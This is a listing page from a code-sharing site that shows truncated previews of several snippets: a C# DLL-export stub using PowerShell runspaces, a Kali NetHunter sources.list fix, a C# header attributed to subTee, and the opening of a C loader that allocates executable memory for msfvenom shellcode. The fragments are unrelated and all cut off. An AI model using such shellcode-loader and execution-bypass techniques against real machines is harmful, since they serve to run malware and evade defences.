Skip to content

Instantly share code, notes, and snippets.

using System;
using System.Text;
using System.Text.RegularExpressions;
using System.Management.Automation.Runspaces;
using System.Runtime.InteropServices;
using System.Net;
using RGiesecke.DllExport;
namespace Export
{
@lithackr
lithackr / NetHunter-sources-fix
Created May 17, 2017 04:42
Update sources.list file for Kali NetHunter 3.0
nethunter sources.list update fix
open nethunter terminal
# mv /etc/apt/sources.list /sdcard
deb http://http.kali.org/kali kali-rolling main contrib non-free
# For source package access, uncomment the following line
# deb-src http://http.kali.org/kali kali-rolling main contrib non-free
vim sources.list on /sdcard, copy / paste above to file and save
using System;
using System.Net;
using System.Diagnostics;
using System.Reflection;
using System.Configuration.Install;
using System.Runtime.InteropServices;
/*
Author: Casey Smith, Twitter: @subTee
License: BSD 3-Clause
#include <stdio.h>
#include <windows.h> //VirtualAlloc is defined here
unsigned const char payload[] = ""; //shellcode as output by msfv
size_t size = 0; //size of payload in bytes (output by msfv)
int main(int argc, char **argv) {
char *code; //Holds a memory address
code = (char *)VirtualAlloc( //Allocate a chunk of memory and store the starting address
NULL, size, MEM_COMMIT,
PAGE_EXECUTE_READWRITE //Set the memory to be writable and executable
);